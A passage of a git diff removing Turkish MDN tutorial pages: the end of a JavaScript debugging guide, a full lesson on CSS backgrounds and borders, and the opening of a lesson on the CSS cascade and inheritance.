bölmede eklediğiniz watch expression'ların ve atadığınız breakpoint'lerin listesini görebilirsiniz.</p> - -<p>Görseldeki ilk kısım,<strong> Watch expression</strong>, listItems adlı bir değişkenin eklendiğini gösteriyor. Listeyi genişleterek dizinin içindeki değerlere göz atabilirsiniz.</p> - -<p>Bir sonraki kısım , <strong>Breakpoints</strong>, sayfaya atanmış breakpoint'leri listelemekte. Örnekteki example.js dosyasında <code>listItems.push(inputNewItem.value);</code> adlı ifadeye bir breakpoint atandığını görüyoruz.</p> - -<p>Son iki kısım sadece kod çalışıyorken görünmektedirler.</p> - -<p><strong>Call stack</strong> kısmı o anki satıra kadar çalışmış olan kodu göstermektedir. Örnekte kodun fare tıklamasını ele alan bir fonksiyon içinde olduğunu ve o an bir breakpoint'te beklediğini görebilirsiniz.</p> - -<p>Son kısım, <strong>Scopes</strong>, kodun farklı noktalarından hangi değerlerin görünür durumda olduğunu gösterir. Mesela, aşağıdaki resimde addItemClick fonksiyonun kodu için mevcut durumda kullanılabilecek nesneleri görebilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16242/watch_items.png" style="border: 1px solid black; display: block; height: 743px; width: 350px;"></p> - -<h3 id="Daha_fazlası_için_2">Daha fazlası için</h3> - -<p>Farklı tarayıcıların JavaScript debugger'larını keşfedin:</p> - -<ul> - <li><a href="/en-US/docs/Tools/Debugger">Firefox JavaScript Debugger</a></li> - <li><a href="https://docs.microsoft.com/en-us/microsoft-edge/devtools-guide/debugger">Microsoft Edge Debugger</a></li> - <li><a href="https://developers.google.com/web/tools/chrome-devtools/javascript/">Chrome Debugger</a></li> - <li><a href="https://developer.apple.com/safari/tools/">Safari Debugger</a></li> -</ul> - -<h2 id="JavaScript_konsolu">JavaScript konsolu</h2> - -<p>JavaScript konsolu, düzgün çalışmayan JavaScript kodlarınının debug edilmesi için harika bir araçtır. JavaScript konsolu yüklenmiş durumdaki sayfada JavaScript kodu çalıştırabilmenizi ve oluşan hataları görebilmenizi sağlar. Bu konsola ulaşabilmek:</p> - -<p>Eğer geliştirici araçları açık durumda ise Console sekmesine tıklayın.</p> - -<p>Diğer durumlarda Firefox <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>K</kbd> tuşları ile JavaScript konsolunu açabilmenize imkan tanır. Bir diğer yöntem ise menü komutlarını kullanmak: Menu <img alt="" src="https://mdn.mozillademos.org/files/9637/2014-01-10-13-08-08-f52b8c.png" style="height: 16px; width: 16px;"> <span class="Unicode"><em><span class="Unicode">➤ Web Developer </span></em><em><span class="Unicode">➤ Web Console, </span></em><span class="Unicode">ya da </span><em>Tools ➤</em></span><em> Web Developer ➤ Web Console. </em>Diğer tarayıcılarda<em> </em>JavaScript konsoluna ulaşmak için önce<em> </em>geliştirici araçlarını açıp sonra Console sekmesine tıklayabilirsiniz.</p> - -<p>Bu yöntemlerin sonucun görseldekine benzer bir pencere göreceksiniz:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/16212/console_only.png" style="border: 1px solid black; display: block; height: 187px; margin: 0px auto; width: 672px;"></p> - -<p>Konsolun ne yapabildiğini görmek için örnekteki kod parçacıklarını konsolunuzda teker teker deneyin:</p> - -<ol> - <li> - <pre class="brush: js">alert('hello!');</pre> - </li> - <li> - <pre class="brush: js">document.querySelector('html').style.backgroundColor = 'purple';</pre> - </li> - <li> - <pre class="brush: js">var myImage = document.createElement('img'); -myImage.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png'); -document.querySelector('h1').appendChild(myImage);</pre> - </li> -</ol> - -<p>Şimdi de kodların hatalı örneklerini deneyin ve neler elde edeceğinizi görün.</p> - -<ol> - <li> - <pre class="brush: js">alert('hello!);</pre> - </li> - <li> - <pre class="brush: js">document.cheeseSelector('html').style.backgroundColor = 'purple';</pre> - </li> - <li> - <pre class="brush: js">var myImage = document.createElement('img'); -myBanana.setAttribute('src','https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png'); -document.querySelector('h1').appendChild(myImage);</pre> - </li> -</ol> - -<p>Tarayıcınız hata döndürmeye başladığını göreceksiniz. Bu hatalar çoğu zaman çok açık ifadeler döndürmeselerde elinizdeki problemleri çözmek için yeterli olacaklardır.</p> - -<h3 id="Daha_fazlası_için_3">Daha fazlası için</h3> - -<p>Farklı tarayıcıların JavaScript konsollarını keşfedin:</p> - -<ul> - <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console">Firefox Web Console</a></li> - <li><a href="http://msdn.microsoft.com/en-us/library/ie/dn255006%28v=vs.85%29.aspx">IE JavaScript console</a></li> - <li><a href="https://developer.chrome.com/devtools/docs/console">Chrome JavaScript Console</a> (Opera'nın inspector'ü aynı şekilde çalışmakta)</li> - <li><a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Conceptual/Safari_Developer_Guide/Console/Console.html#//apple_ref/doc/uid/TP40007874-CH6-SW1">Safari Console</a></li> -</ul> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li> - <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a></li> -</ul> diff --git a/files/tr/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/tr/learn/css/building_blocks/backgrounds_and_borders/index.html deleted file mode 100644 index da23bd22ef..0000000000 --- a/files/tr/learn/css/building_blocks/backgrounds_and_borders/index.html +++ /dev/null @@ -1,325 +0,0 @@ ---- -title: Arka planlar ve kenarlıklar -slug: Learn/CSS/Building_blocks/Backgrounds_and_borders -tags: - - Arka Plan - - Background - - Başlangıç - - Beginner - - CSS - - Eğitim - - Image - - Kenarlık - - Konum - - Learn - - Position - - Renk - - Resim - - borders - - color -translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders -original_slug: Öğren/CSS/CSS_yapi_taslari/Backgrounds_and_borders ---- -<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div> - -<p>Bu derste, CSS arka planları ve kenarlıkları ile yapabileceğin bazı yapıcı şeylere bir göz atacağız. Degradeler, arka plan resimleri ve yuvarlatılmış köşeler eklemek gibi bir çok tasarımı oluşturabilmek için arka planlar ve kenarlıklar birçok seçenek sunacaktır.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü inceleyin.) ve CSS'in nasıl çalıştığı hakkında bilgi(<a class="new" href="/tr/docs/Learn/CSS/First_steps" rel="nofollow">CSS ilk adım</a>)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Kutuların arka planını ve kenarlığını nasıl biçimlendireceğini öğrenmek.</td> - </tr> - </tbody> -</table> - -<h2 id="CSSde_arka_planların_stilini_ayarlama">CSS'de arka planların stilini ayarlama</h2> - -<p>CSS'deki {{cssxref("background")}} niteliği, bu derste karşılaşacağın birçok arka planla ilişkili niteliğin kısaltmasıdır. Bir stil sayfasında karmaşık bir arka plan niteliğine aşağıdaki gibi birçok değerin aktrıldığını görürsen, sonradan okunması ve anlaşılmasının ne kadar zor olduğunu da farkedersin.</p> - -<pre class="brush: css notranslate"><code>.box { - background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat, - url(big-star.png) center no-repeat, rebeccapurple; -} </code> -</pre> - -<p>Bu eğitim setinde daha sonra kısa tanımın nasıl çalıştığına döneceğiz, ancak önce bireysel arka plan özelliklerine bakarak CSS'de arka planlarla yapabileceğin farklı tasarım özelliklerine bir göz atalım.</p> - -<h3 id="Arka_plan_renkleri">Arka plan renkleri</h3> - -<p>CSS {{cssxref("background-color")}} niteliğiyle herhangi bir öğeye arka plan rengini tanımlarız. Nitelik geçerli olan her <code><a href="/tr/docs/Web/CSS/color_value"><color></a></code> değerini kabul eder. <code>background-color</code>, öğenin içeriğinin ve dolgusunun altını boyar.</p> - -<p>Aşağıdaki örnekte, kutuya bir arka plan rengi, bir başlık ve bir {{htmlelement("span")}} öğelerine çeşitli renk değerleri ekledik.</p> - -<p><strong>Geçerli olan <a href="/tr/docs/Web/CSS/color_value"><color></a> değerlerini kullanarak bunlarla oynayın.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}</p> - -<h3 id="Arka_plan_resimleri">Arka plan resimleri</h3> - -<p>{{cssxref("background-image")}} niteliği öğenin arka planında bir resmin görüntülenmesini istediğimizde kullanırız. Aşağıdaki örnekte, iki kutumuz var — biri kutudan daha büyük bir arka plan resmine, diğerinde küçük bir yıldız resmi var.</p> - -<p>Bu örnek, arka plan resimleri hakkında iki şeyi gösterir. Varsayılan olarak, büyük görüntü kutuya sığacak şekilde küçültülmez, bu nedenle sadece küçük bir köşesini görürüz, küçük görüntü ise kutuyu dolduracak şekilde döşenir. Bu durumda, gerçek görüntü sadece tek bir yıldızdır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}</p> - -<p><strong>Bir arka plan görüntüsüne ek olarak bir arka plan rengi belirlesen, görüntü rengin üstünde görüntülenir. Yukarıdaki örnekte <code>background-color</code> niteliğine renk bildiriminde bulun.</strong></p> - -<h4 id="Arka_plan_tekrarını_kontrol_etme">Arka plan tekrarını kontrol etme</h4> - -<p>{{cssxref("background-repeat")}} niteliği; görüntünün boyutu, kutunun içerik alanından küçük olması durumunda, görüntüyü kutu içerik alanına doldurmak için yatay ve dikey olarak tekrarını kontrol etmemizi sağlar. Mevcut değerler şunlardır:</p> - -<ul> - <li><code>no-repeat</code> — arka planın tekrarlanmasını durdur.</li> - <li><code>repeat-x</code> — yatay olarak tekrarla.</li> - <li><code>repeat-y</code> — dikey olarak tekrarla.</li> - <li><code>repeat</code> — varsayılan değer; her iki yönde de tekrarlayın.</li> -</ul> - -<p><strong>Bu değerleri aşağıdaki örnekte deneyin. Biz değerini <code>no-repeat</code> olarak ayarladık, bu yüzden bir tane yıldız göreceksin. Ama diğer etkilerin neler olduğunu görebilmek için diğer değerleri de dene. </strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}</p> - -<h4 id="Arka_plan_resmini_boyutlandırma">Arka plan resmini boyutlandırma</h4> - -<p>Yukarıdaki örnekte; görüntülenmek istenilen resmin boyutu, öğenin boyutundan daha büyük olduğu için kırpılan bir görüntümüz var. Bu durumda, görüntüyü arka plana sığacak şekilde boyutlandırmak için <a href="/tr/docs/Web/CSS/length">uzunluk</a> veya <a href="/tr/docs/Web/CSS/percentage">yüzde</a> değeri alabilen {{cssxref("background-size")}} niteliğini kullanabiliriz.</p> - -<p>Ayrıca anahtar kelimeleri de kullanabiliriz:</p> - -<ul> - <li><code>cover</code> — tarayıcı, resmi en boy oranını korurken kutu alanını tamamen kaplaycak şekilde boyutlandırır. Bu durumda, görüntünün bir kısmı muhtemelen kutunun dışında kalacaktır.</li> - <li><code>contain</code> — tarayıcı, resmi kutunun içine sığacak şekilde boyutlandıracaktır. Bu durumda, görüntünün en boy oranı kutununkinden farklıysa görüntünün iki yanında veya üstünde ve altında boşluklar oluşabilir.</li> -</ul> - -<p>Aşağıdaki örnekte, yukarıdaki örnekten daha büyük bir resim kullandım ve kutunun içinde boyutlandırmak için uzunluk birimlerini kullandım. Bunun görüntüyü bozduğunu görebilirsin.</p> - -<p>Uygula.</p> - -<ul> - <li>Arka planın boyutunu değiştirmek için kullanılan uzunluk birimlerini değiştir.</li> - <li>Uzunluk birimlerini sil ve <code>background-size: cover</code> veya <code>background-size: contain</code> tanımlamalarını yap.</li> - <li>Resmin görüntülemek istediğin kutudan küçükse, görüntüyü tekrarlamak için <code>background-repeat</code> niteliğinin değerini değiştir.</li> -</ul> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}</p> - -<h4 id="Arka_plan_resmini_konumlandırma">Arka plan resmini konumlandırma</h4> - -<p>{{cssxref("background-position")}} niteliği, arka plan görüntüsünün uygulandığı kutuya göre görüntülendiği konumu seçmemize yarar. Bu, kutunun sol üst köşesinden başlayan ve kutunun yatay (<code>x</code>) ve dikey (<code>y</code>) eksenler boyunca konumlandırıldığı bir koordinat sistemi kullanır.</p> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: Varsayılan olarak <code>background-position</code>'ın başlangıç değeri<code>(0,0)</code> dır.</p> -</div> - -<p><code>background-position</code> yatay ve dikey olarak iki ayrı değer alır.</p> - -<p><code>top</code> ve <code>right</code> gibi anahtar kelimeler kullanabilirsin(alabildiği tüm değerleri görmek için {{cssxref("background-position")}} sayfasına bak):</p> - -<pre class="brush: css notranslate"><code>.box { - background-image: url(star.png); - background-repeat: no-repeat; - background-position: top center; -} </code> -</pre> - -<p><a href="/tr/docs/Web/CSS/length">Uzunluk</a> ve <a href="/tr/docs/Web/CSS/percentage">yüzdeler</a>:</p> - -<pre class="brush: css notranslate"><code>.box { - background-image: url(star.png); - background-repeat: no-repeat; - background-position: 20px 10%; -} </code> -</pre> - -<p>Anahtar kelimeleri uzunluklar veya yüzdelerle de karıştırabilirsin:</p> - -<pre class="brush: css notranslate">.box { - background-image: url(star.png); - background-repeat: no-repeat; - background-position: top 20px; -}</pre> - -<p>Son olarak, kutunun belli bir konumundan bir mesafeyi belirtmek için 4 değerli bir sözdizimi de kullanabilirsin — bu durumda uzunluk birimi, ondan önceki değerden bir sapmadır. Dolayısıyla, aşağıdaki CSS'de arka planı üstten 20piksel ve sağdan 10piksel sapmayla konumlandırıyoruz:</p> - -<pre class="brush: css notranslate"><code>.box { - background-image: url(star.png); - background-repeat: no-repeat; - background-position: top 20px right 10px; -} </code></pre> - -<p><strong>Bu değerlerle oynamak ve yıldızı kutunun içinde hareket ettirmek için aşağıdaki örneği kullanın..</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p><strong>Note</strong>: <code>background-position</code> is a shorthand for {{cssxref("background-position-x")}} and {{cssxref("background-position-y")}}, which allow you to set the different axis position values individually.</p> -</div> - -<h3 id="Degrade_arka_planlar">Degrade arka planlar</h3> - -<p>Bir gradyan — bir arka plan için kullanıldığında — tıpkı bir görüntü gibi davranır ve ayrıca {{cssxref("background-image")}} niteliği kullanılarak tanımlanır.</p> - -<p><code><a href="/tr/docs/Web/CSS/gradient"><gradient></a></code> veri türü için MDN sayfasında farklı gradyan türleri ve bunlara yapabilceğin şeyler hakkında daha fazla bilgi edinebilirsin. Gradyanlarla oynamanın öğlenceli bir yolu, bağlantıdaki gibi web'de birçok CSS Gradyan oluşturucudan <a href="https://cssgradient.io/">birini kullanmaktır</a>.bir degrade oluşturabilir ve ardından onu oluşturan kaynak kodunu kopyalayıp projende kullanabilirsin.</p> - -<p>Aşağıdaki örnekte farklı renk geçişlerini deneyin. Sırasıyla ilk kutuda tüm kutu boyunca gerilmiş doğrusal bir gradyan ve diğer kutuda tekrarlayan belirli bir boyuta sahip radyal bir gradyan var.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}</p> - -<h3 id="Birden_çok_arka_plan_görüntüsü">Birden çok arka plan görüntüsü</h3> - -<p>Birden çok arka plan görüntüsüne sahip olmak da mümkündür — <code>background-image</code> niteliğinde her birini virgülle ayırarak tek bir komutla birden çok değeri belirtebilirsin.</p> - -<p>Bunun yaptığında, birbiriyle örtüşen arka plan görüntüleriyle karşılabilirsin. Arka planlar, yığının altında en son listelenen arka plan görüntüsüyle katmanlanır ve önceki her görüntü, kodda onu izleyen görüntünün üstüne yığılır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Degradeler, normal arka plan görüntüleriyle uyumlu bir şekilde karıştırılabilir</p> -</div> - -<p>Diğer <code>background-*</code> nitelikleride <code>background-image</code> gibi virgülle ayrılmış değerlere sahip olabilirler:</p> - -<pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image4.png); -background-repeat: no-repeat, repeat-x, repeat; -background-position: 10px 20px, top right;</pre> - -<p>Farklı özelliklerin her bir değeri, diğer özelliklerdeki aynı konumdaki değerlele eşleşecektir. Örneğin yukarıdaki <code>image1</code>'in <code>background-repeat</code> değeri <code>no-repeat</code> olacaktır. Ancak, farklı özelliklerin farklı sayıda değeri olduğunda ne olur? Cevap, daha az sayıdaki değerin döneceğidir — yukarıdaki örnekte dört arka plan görüntüsü vardır, ancak yalnızca iki <code>background-position</code> değeri vardır. İlk iki konum değeri ilk iki resme uygulancak, ardından tekrar geri dönecek — <code>image3</code>'e ilk konum değeri <code>image4</code>'de de ikinci konum değeri verilecektir.</p> - -<p><strong>Hadi oynayalım. Aşağıdaki örneğe iki resim ekledim. Yığınlama sırasını göstermek için, listede hangi arka plan görüntüsünün ilk sırada olduğunu değiştirmeyi deneyin veya konumu, boyutu veya tekrarlama değerleri üzerinde oynamalar yapmayı dene.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}</p> - -<h3 id="Arka_plan_sabitleme">Arka plan sabitleme</h3> - -<p>Arka planlar için kullanabileceğimiz başka bir seçenek de, öğenin içeriğinin kaydırıldığında arka planın nasıl davranacağını belirlemektir. Bu davranışa imkan tanıyan <span>{{cssxref("background-attachment")}} niteliği aşağıdaki belirtilen değerler kullanılarak kontrol edilir.</span></p> - -<ul> - <li><code>scroll</code>: Arka plan tanımlandığı öğeye değilde, sayfaya sabitlenir. Bu yüzden sayfa kaydırılırsa hareket eder. Öğenin içeriğinin kaydırılması arka planın hareket etmesini sağlamaz.</li> - <li><code>fixed</code>: Bir öğenin arka planının, sayfa veya öğe içeriği kaydırıldığında kaymaması için görünüm alanına sabitlenmesine neden olur. Ekrandaki arka plan daima aynı konumda kalacaktır.</li> - <li><code>local</code>: Bu değer daha sonra eklendi(Yanlızca Internet Explorer 9+'da desteklenir. Diğerleri IE4+'da desteklenir). Çünkü <code>scroll</code> değeri oldukça kafa karıştırıcıdır ve çoğu durumda istediğini yapmayabilir. <code>local</code> değeri tanımlandığı öğeye sabitlenir ve öğenin içeriği kaydırıldığında(kutu içerisinde veya sayfayla birlikte) içerikle birlikte arka planda hareket eder.</li> -</ul> - -<p>{{cssxref("background-attachment")}} niteliğine tanımlanabilecek bu üç değerin aralarındaki farkları görebilmen için size örnek bir sayfa dım — <a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a> (ayrıca <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">kaynak koduda</a> burada).</p> - -<h3 id="Arka_plan_tanımı_için_kısatanım_kullanımı">Arka plan tanımı için kısatanım kullanımı</h3> - -<p>Bu dersin başında bahsettiğim gibi, genellikle {{cssxref("background")}} niteliği kullanılarak belirtilen arka planları göreceksin. Bu kısatanım, tüm farklı özellikleri aynı anda ayarlamana olanak tanır.</p> - -<p>Birden çok arka plan kullanıyorsan, ilk arka plan için tüm özellikleri belirlemen ve virgülle ayırdıktan sonra, sonraki arka planını eklemen gerekir ve/veya nekadar arka plan koyacaksan o kadar bunu tekrarlamalısın. Aşağıdaki örnekte bir boyut ve konuma sahip bir gradyan, ardından <code>no-repeat</code> değerine sahip bir görüntü ve en altta bir renk var.</p> - -<p>Arka plan kısatanım değerlerini yazarken uyulması gereken birkaç kural vardır, örneğin</p> - -<ul> - <li><code>background-color</code>, yalnızca son virgülden sonra tanımlanabilir. İlk belirtilen konum en üstte blunur.</li> - <li> - <p><code>background-size</code> değeri, sadece <code>background-position</code> değerinden sonra '<code>/</code>' karakteriyle ayırarak tanımlanabilir.</p> - </li> -</ul> - -<p>{{cssxref("background")}} tüm detaylarını görebilmek için MDN sayfasına bir göz atın.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}</p> - -<h3 id="Arka_planla_erişilebilirlikle_ilgili_hususlar">Arka planla erişilebilirlikle ilgili hususlar</h3> - -<p>Bir arka plan görüntüsünün veya renginin üzerine metin yerleştirirken, metnin ziyaretçilerin için okunaklı olması için yeterli kontrastı sağladığına dikkat etmelisin. Ayrıca bir resim kullanmak istiyorsan, metin de bu resmin üstüne yerleştirilecekse ve resim yüklenemezse metininin okunaklı olmasını sağlayacak bir de <code>background-color</code> tanımlamalısın.</p> - -<p>Ekran okuyucular arka plan görüntülerini ayrıştıramaz, bu nedenle tamamen dekorasyon amaçlı olmalıdır; içeriğindeki önemli tüm içerikler HTML sayfasının bir parçası olmalı ve arka planda oluşturulmamalıdır.</p> - -<h2 id="Kenarlıklar">Kenarlıklar</h2> - -<p>Kutu Modeli hakkında bilgi edinirken, kenarların kutumuzun boyutunu nasıl etkilediğini öğrenmiştik. Bu derste kenarlıkları kreatif bir şekilde nasıl kullanacağımıza bakacağız. Tipik olarak, CSS ile bir öğeye kenarlıklar eklediğimizde, kenarlığın rengini, genişliğini ve stilini bir CSS satırında tanımlayan kısatanım özelliğini kullanırız.</p> - -<p>Aşağıdaki {{cssxref("border")}} ile bir kutunun dört kenarı için kenarlık belirleyebiliriz.</p> - -<pre class="brush: css notranslate"><code>.box { - border: 1px solid black; -} </code></pre> - -<p>Veya kutunun bir kenarını hedefleyebiliriz, örneğin:</p> - -<pre class="brush: css notranslate"><code>.box { - border-top: 1px solid black; -} </code></pre> - -<p>Bu kısatanımların bireysel nitelikleride böyle olacaktır:</p> - -<pre class="brush: css notranslate"><code>.box { - border-width: 1px; - border-style: solid; - border-color: black; -} </code></pre> - -<p>Ve daha detaylı tanımlama için:</p> - -<pre class="brush: css notranslate"><code>.box { - border-top-width: 1px; - border-top-style: solid; - border-top-color: black; -} </code></pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bu üst, sağ, alt ve sol kenarlık nitelikleri, belgenin yazma moduyla eşleştirilmiş olan <em>mantıksal</em> niteliklere de sahiptir. (Örn. Soldan sağa, sağdan sola veya yukarıdan aşağıya). Bunları, <a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">farklı metin yönleri</a>'ni ele alan bir sonraki derste işleyeceğiz.</p> -</div> - -<p><strong>Kenarlıklar için kullanabileceğin çeşitli stiller vardır. Aşağıdaki örnekte kutunun dört kenarı için farklı bir kenarlık stili kullandık. Kenarlıkların nasıl çalıştığını görmek için kenarlık stilini, genişliğini ve rengini değiştirin.</strong></p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}</p> - -<h3 id="Yuvarlatılmış_köşeler">Yuvarlatılmış köşeler</h3> - -<p>{{cssxref("border-radius")}}, yuvarlatılmış köşelere sahip kutular oluşturabilmek için bir seferde tüm köşelere tanımlama yapabilmek için kullanırız. Ayrıca ayrı ayrı köşelere detaylı bir tanımlama yapmak için kullanabileceğimiz daha farklı niteliklerde mevcuttur. Niteliklere değer olarak verebileceğimiz bir iki yöntememiz vardır. İlk yöntem; bir değer olarak iki adet uzunluk veya yüzde değeri girebiliriz, birinci değer yatay yarıçapını ve ikinci değeri ise dikey yarıçapını tanımlar. Çoğu durumda kullanacağımız diğer yöntem ise; her iki yarıçap için de kullanılacak tek bir değer girebiliriz.</p> - -<p>Örneğin, bir kutunun dört köşesinin de 10 piksellik bir yarıçapa sahip olmasını sağlamak için:</p> - -<pre class="brush: css notranslate"><code>.box { - border-radius: 10px; -} </code></pre> - -<p>Veya sağ üst köşenin yatay yarıçapı 1em ve dikey yarıçapı %10 olmasını sağlamak için:</p> - -<pre class="brush: css notranslate"><code>.box { - border-top-right-radius: 1em 10%; -} </code></pre> - -<p>Aşağıdaki örnekte dört köşeyi de ayarladım ve ardından farklı kılmak için sağ üst köşenin değerlerini değiştirdim. Köşeleri değiştirmek için değerlerle oynayabilirsin. {{cssxref("border-radius")}}'un kullanılabilir söz dizimleri hakkında daha fazla bilgi sahibi olabilmek için MDN sayfasına bakabilirsin.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}</p> - -<h2 id="Beçerilerini_test_et!">Beçerilerini test et!</h2> - -<p>Bu derste çok şey ele aldık, ancak en önemli bilgileri hatırlıyor musun? Devem etmeden önce bu bilgileri iyi öğrendiğini doğrulamak için bazı tesler hazırladım — <a href="/tr/docs/Learn/CSS/Building_blocks/Test_your_skills_backgrounds_and_borders">Becerilerini test edin: Arka Planlar ve Kenarlıklar</a>.</p> - -<h2 id="Özet">Özet</h2> - -<p>Burada pek çok konuya değindik. Bir kutuya arka plan ve kanerlık eklemenin karmaşık olduğunu düşünebilirsin. Anlattımğım niteliklerden herhangi biri hakkında daha fazla bilgi sahibi olmak istiyorsan, farklı referans sayfalarını incele. MDN'deki her sayfada, kendini test etmen ve bilgini geliştimen için kullanabileceğin oldukça fazla kullanım örneği vardır.</p> - -<p>Bir sonraki derste, belgelerinin Yazma Modunun CSS'inle nasıl etkileşime girdiğini öğreneceğiz. Metin soldan sağa akmadığında ne olur? </p> - -<p>{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</p> - -<h2 id="Bu_kısımda">Bu kısımda</h2> - -<ol> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance">Kaynak sırası ve miras</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">CSS seçicileri</a> - <ul> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Type_Class_and_ID_Selectors">Tür, sınıf ve kimlik seçicileri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors">Nitelik seçiciler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements">Sözde sınıflar ve sözde öğeler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Selectors/Combinators">Birleştiriciler</a></li> - </ul> - </li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/The_box_model">Kutu modeli</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders">Arka planlar ve kenarlıklar</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Handling_different_text_directions">Farklı metin yönleri kullanma</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Overflowing_content">Taşan içerik</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Values_and_units">Değerler ve birimler</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Sizing_items_in_CSS">CSS'de öğelerin boyutları</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Images_media_form_elements">Görseller, medya ve form öğeleri</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Styling_tables">Tabloları şekillendirme</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Debugging_CSS">CSS'de hata ayıklama</a></li> - <li><a href="/tr/docs/Learn/CSS/Building_blocks/Organizing">CSS'ini düzenleme</a></li> -</ol> diff --git a/files/tr/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/tr/learn/css/building_blocks/cascade_and_inheritance/index.html deleted file mode 100644 index b5b9796991..0000000000 --- a/files/tr/learn/css/building_blocks/cascade_and_inheritance/index.html +++ /dev/null @@ -1,358 +0,0 @@ ---- -title: Kaynak sırası ve miras -slug: Learn/CSS/Building_blocks/Cascade_and_inheritance -tags: - - Acemi - - Art arda - - Beginner - - CSS - - Cascade - - Inheritance - - Learn - - Miras - - Oğitim - - kaynak siparişi - - kurallar - - ozgüllük - - rules - - source order - - specificity -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance -original_slug: Öğren/CSS/CSS_yapi_taslari/Cascade_and_inheritance ---- -<div>{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</div> - -<p>Bu dersin amacı, CSS'nin HTML'ye nasıl uygulandığına ve çakışmaların nasıl çözüldüğünü kontrol eden en temel kavranlar olan <a title="Cascade: Adım adım kontrol">art arda denetim</a>, <a title="Özel etken oranı: Kuralı uygulanacak en baskın seçici">özgüllük</a> ve kalıtım hakkındaki bilgilerini geliştirmektir.</p> - -<p>Bu ders üzerinde çalışmak, kursun diğer bazı bölümlerine göre daha az alaklı ve biraz daha akademik görünse de, bunları anlaman daha sonra karşılaşacağın sorunları daha kolay çözmeni sağlayacaktır! Bu bölümü dikkatlice çalışmanı ve dersi bitirmeden önce kavramları anladığını kontrol etmeni öneririm.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a 